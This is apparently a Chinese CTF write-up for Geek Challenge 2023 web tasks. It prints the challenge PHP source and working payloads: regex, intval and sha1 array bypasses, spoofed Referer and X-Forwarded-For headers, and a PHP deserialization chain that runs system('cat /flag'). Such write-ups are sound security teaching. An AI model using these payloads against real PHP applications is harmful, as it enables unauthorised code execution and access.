Geek Challenge 2023

Geek Challenge 2023

easy_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

preg_match绕过

1
isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!'

payload:

1
?syc=Welcome to GEEK 2023!%0a

intval绕过

1
intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024
1
2
3
echo intval(1e10);              // 1410065408
echo intval('1e10'); // 1
echo intval('1e10'+1); // 1410065409

payload:

1
?lover='1e10'

sha1绕过

1
2
3
4
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2))

数组绕过,sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以经过加密后得到的都是NULL,也就是相等的。

payload:

1
qw[]=1&yxx[]=2
1
isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!"

在 PHP 中,变量名称中不能使用句号点(.)。 例如 $a.b 是一个不合法的变量名。因此,PHP 会自动将点替换为下划线。

除了点,一些其他字符如果出现在GET参数名中,也将会被自动替换为下划线。会被自动替换的字符列表:

1
2
3
4
chr(32) ( ) (空格)
chr(46) (.) (点)
chr(91) ([) (中括号)
chr(128) - chr(159) (多个字符)

在 PHP 中,变量名称中不能使用句号点(.)。 例如 $a.b 是一个不合法的变量名。因此,PHP 会自动将点替换为下划线。

除了点,一些其他字符如果出现在GET参数名中,也将会被自动替换为下划线。会被自动替换的字符列表:

1
2
3
4
chr(32) ( ) (空格)
chr(46) (.) (点)
chr(91) ([) (中括号)
chr(128) - chr(159) (多个字符)

payload:

1
SYC[GEEK.2023="Happy to see you!"

EzHttp

post传参username和password进行登录

搜到了robots.txt

1
2
3
User-agent: *

Disallow: /o2takuXX's_username_and_password.txt

访问获得账户密码

1
2
username:admin
password:@dm1N123456r00t#

必须来源自sycsec.com

1
Referer: sycsec.com

请使用Syclover浏览器

1
User-Agent: Syclover

请从localhost访问

1
x-forwarded-for: 127.0.0.1

请使用Syc.vip代理

1
via:Syc.vip
1
2
3
4
5
6
<?php
if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
echo $flag;
}

?>
1
O2TAKUXX: GiveMeFlag

unsign

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
**highlight_file**(**__FILE__**);
**class** **syc**
{
**public** $cuit;
**public** **function** **__destruct**()
{
**echo**("action!<br>");
$function=$this->cuit;
**return** $function();
}
}

**class** **lover**
{
**public** $yxx;
**public** $QW;
**public** **function** **__invoke**()
{
**echo**("invoke!<br>");
**return** $this->yxx->QW;
}

}

**class** **web**
{
**public** $eva1;
**public** $interesting;

​ **public** **function** **__get**($var)
{
​ **echo**("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
​ }
}
**if** (**isset**($_POST['url']))
{
​ **unserialize**($_POST['url']);
}

?>
  • __construct():实例化对象时,首先会去自动执行的一个方法
  • __invoke():格式表达错误导致没魔术方法触发(把对象当成函数调用)
  • __get():调用的成员属性是私有属性或不存在时触发(返回值:不存在的成员属性的名称)
1
2
3
4
5
6
7
8
9
10
$a=new web();
$a->eva1='system';
$a->interesting="cat /flag";
$b=new lover();
$b->yxx=$a;
$b->QW='asd';//赋一未知值来调用__get
$c=new syc();
$c->cuit=$b;//触发__invoke

echo serialize($c);
1
url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";s:3:"asd";}}

Pupyy_rce

无参RCE

n00b_Upload

文件上传


Geek Challenge 2023
http://example.com/2023/11/12/比赛/Geek-Challenge-2023/
作者
Englobe
发布于
2023年11月12日
许可协议